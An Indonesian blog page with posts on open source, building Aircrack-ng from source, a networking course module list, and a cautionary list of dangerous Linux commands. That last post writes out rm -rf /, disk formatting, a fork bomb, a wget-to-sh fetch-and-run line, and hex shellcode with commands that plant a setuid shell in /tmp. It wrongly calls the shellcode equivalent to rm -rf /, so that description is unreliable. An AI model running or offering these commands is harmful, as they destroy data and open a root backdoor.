Apa itu open source (sumber terbuka) ?

Sumber terbuka (Inggris: open source) adalah sistem pengembangan yang tidak dikoordinasi oleh suatu individu / lembaga pusat, tetapi oleh para pelaku yang bekerja sama dengan memanfaatkan kode sumber (source-code) yang tersebar dan tersedia bebas (biasanya menggunakan fasilitas komunikasi internet). Pola pengembangan ini mengambil model ala bazaar, sehingga pola Open Source ini memiliki ciri bagi komunitasnya yaitu adanya dorongan yang bersumber dari budaya memberi, yang artinya ketika suatu komunitas menggunakan sebuah program Open Source dan telah menerima sebuah manfaat kemudian akan termotivasi untuk menimbulkan sebuah pertanyaan apa yang bisa pengguna berikan balik kepada orang banyak. Pola Open Source lahir karena kebebasan berkarya, tanpa intervensi berpikir dan mengungkapkan apa yang diinginkan dengan menggunakan pengetahuan dan produk yang cocok. Kebebasan menjadi pertimbangan utama ketika dilepas ke publik. Komunitas yang lain mendapat kebebasan untuk belajar, mengutak-ngatik, merevisi ulang, membenarkan ataupun bahkan menyalahkan, tetapi kebebasan ini juga datang bersama dengan tanggung jawab, bukan bebas tanpa tanggung jawab. 

Konsep dan definisi 
Pada intinya konsep sumber terbuka adalah membuka "kode sumber" dari sebuah perangkat lunak. Konsep ini terasa aneh pada awalnya dikarenakan kode sumber merupakan kunci dari sebuah perangkat lunak. Dengan diketahui logika yang ada di kode sumber, maka orang lain semestinya dapat membuat perangkat lunak yang sama fungsinya. Sumber terbuka hanya sebatas itu. Artinya, dia tidak harus gratis. Definisi sumber terbuka yang asli adalah seperti tertuang dalam OSD (Open Source Definition)/Definisi sumber terbuka.

Pergerakan sumber terbuka dan perangkat lunak bebas 
Pergerakan perangkat lunak bebas dan sumber terbuka saat ini membagi pergerakannya dengan pandangan dan tujuan yang berbeda. Sumber terbuka adalah pengembangan secara metodelogi, perangkat lunak tidak bebas adalah solusi suboptimal. Bagi pergerakan perangkat lunak bebas, perangkat lunak tidak bebas adalah masalah sosial dan perangkat lunak bebas adalah solusi. sumber:http://id.wikipedia.org/wiki/Sumber_terbuka
Selengkapnya...

[Ubuntu 12.04] Instalasi Aircrack-ng 1.1 Dari Source Code (Kode Sumber tar.gz)

Untuk menginstall Aircrack-ng 1.1 dari source code tar.gz (kode sumber) lakukan langkah-langkah berikut:
1. Install dulu paket untuk kompilasi dan dependesinya
sudo apt-get install build-essential libssl-dev libsqlite3-dev
2. Download dan ekstrak aircrack-ng
wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar zxf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1
3. Edit file common.mak gedit common.mak
Cari baris
CFLAGS ?= -g -W -Wall -Werror -O3
Hapus -Werror sehingga menjadi seperti ini:
CFLAGS ?= -g -W -Wall -O3
4. Kompilasi dan Install
make
sudo make install

Semoga bermanfaat
Selengkapnya...

Modul TKJ untuk kelas X, XI, XII


Modul Teknik Komputer dan Jaringan Kelas X


Modul Teknik Komputer dan Jaringan Kelas XI
9: Menginstalasi Sistem Operasi Berbasis Text
10: Menginstalasi Perangkat Jaringan Lokal (LAN)
11: Mendiagnosis Permasalahan PC yang Tersambung Jaringan
12: Melakukan Perbaikan dan Setting Ulang Koneksi Jaringan
13: Menginstalasi Sistem Operasi Jaringan Berbasis GUI
14: Menginstalasi Sistem Operasi Jaringan Berbasis Text

Modul Teknik Komputer dan Jaringan Kelas Xii
15: Menginstalasi Sistem Operasi Jaringan Berbasis Luas (WAN)
16: Mendiagnosis Permasalahan Perangkat yang Tersambung Jaringan Berbasis Luas (WAN)
17: Mengadministrasi server dalam Jaringan
18: Merancang Bangun & Menganalisa WAN  
Source:(http://pakguruku.blogspot.com...http://mamaders.blogspot.com/)
Selengkapnya...

Berikut adalah 7 perintah berbahaya yang disajikan dari 7 Deadly Command:


1. Perintah rm -rf /
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri
2. Perintah menggunakan bilangan hexa 
char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ 
=“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ 
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ 
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ 
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ 
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ 
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ 
\x6e\x2f\x73\x68\x00\x2d\x63\x00″ 
cp -p /bin/sh /tmp/.beyond; chmod 4755 
 /tmp/.beyond;”;
Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman

3. Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang
ditunjuk.

4. Perintah forkbomb :(){:|:&};: 
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.

5. Perintah apapun > /dev 
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk)

6. Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.

7. Perintah memindahkan home folder ke /dev/null mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup…

Selain 7 perintah diatas, ada beberapa perintah lainnya yang mungkin belum dimasukkan disini. Prinsip hati-hati dalam menjalankan suatu perintah merupakan hal mutlak yang harus selalu diingat oleh pengguna Linux.


Selengkapnya...